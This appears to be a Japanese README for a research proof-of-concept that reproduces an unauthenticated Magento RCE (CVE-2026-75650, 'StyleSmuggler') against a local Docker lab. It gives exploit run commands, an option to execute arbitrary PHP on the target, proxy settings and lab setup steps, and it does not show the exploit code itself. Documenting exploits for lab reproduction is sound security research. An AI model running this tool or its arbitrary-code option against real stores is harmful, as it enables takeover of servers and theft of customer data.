
Python PoCは、レポートポイズニングと失敗した支払いのレンダリングを介した未認証のMagento RCEであるCVE-2026-75650 StyleSmugglerを、カナリア検証付きで再現します。
StyleSmuggler、CVE-2026-75650 をローカルの Magento Open Source ラボに対して HTTP のみで再現するためのプライベート研究リポジトリです。
完全な技術解説は Magento StyleSmuggler RCE: Report Poisoning to Code Execution をお読みください。
この Python PoC は、認証不要の一連の処理を完全に実行します:
type、text、styles を含めて失敗した支払いのレンダリングをトリガーする;ヘルパーをコンテナにコピーしたり、Docker 経由でスキャナーを呼び出したりすることはありません。Python の標準ライブラリで十分です。
python3 exploit.py --target http://localhost:18082
最終出力には RCE VERIFIED と、その実行の前半で出力されたものと同じ新しい
STYLESMUGGLER_RUN_... マーカーが含まれている必要があります。実行ごとに新しいマーカーが生成されるため、既存のカナリアではこのチェックを満たすことはできません。
レポートパスは、ターゲットの PHP プロセスから見えるパスでなければなりません。Magento が別のドキュメントルートを使用している場合は上書きしてください:
python3 exploit.py \
--target http://localhost:18082 \
--report-dir /srv/magento/var/report
<?php や ?> を付けずに PHP ステートメントを渡します:
python3 exploit.py \
--target http://localhost:18082 \
--code 'file_put_contents(getcwd()."/custom-test.txt", "PHP ".PHP_VERSION.PHP_EOL);'
curl -sS http://localhost:18082/custom-test.txt
この PoC は、指定されたフラグメントを実行する前に新しい検証マーカーを書き込み、その後もそのマーカーを検証します。
レポートのポイズニングや最後のカナリア取得を含むすべてのリクエストは、HTTP プロキシ経由で送信できます:
python3 exploit.py \
--target http://localhost:18082 \
--proxy http://127.0.0.1:8082
傍受された証明書が Python に信頼されていない HTTPS ターゲットの場合は、--proxy-insecure を追加してください。
curl_failed_payment.sh は Stage 2 の 4 つのリクエストを実行し、各リクエストが到達した Magento コンポーネントにラベルを付けます。curl、jq、openssl が必要です:
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID
環境変数を通じて別のターゲットや Burp リスナーを設定します:
MAGENTO_URL=http://localhost:18082 \
BURP_PROXY=http://127.0.0.1:8082 \
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID
docker-compose.yml は、127.0.0.1:18082 上に分離された MySQL、OpenSearch、PHP/Apache サービスを提供します。./magento2-src にインストール済みの Magento ソースツリーがあることを前提としています。
最終的なクリーン検証では、Magento のコミット:
f8405be831efa461ec18cc5a637cd98afa767015
を使用しました。
Magento の通常の setup:install プロセスを実行する前に、ソースをクローンして Composer 依存関係をインストールしてください:
git clone --filter=blob:none --branch 2.4-develop \
https://github.com/magento/magento2.git magento2-src
git -C magento2-src checkout f8405be831efa461ec18cc5a637cd98afa767015
docker compose build web
docker compose up -d db opensearch
docker compose run --rm web composer install --no-interaction
Magento をデータベースホスト db、OpenSearch ホスト opensearch、ベース URL http://localhost:18082/ でインストールした後、Web サービスを起動します:
docker compose up -d web
docker compose ps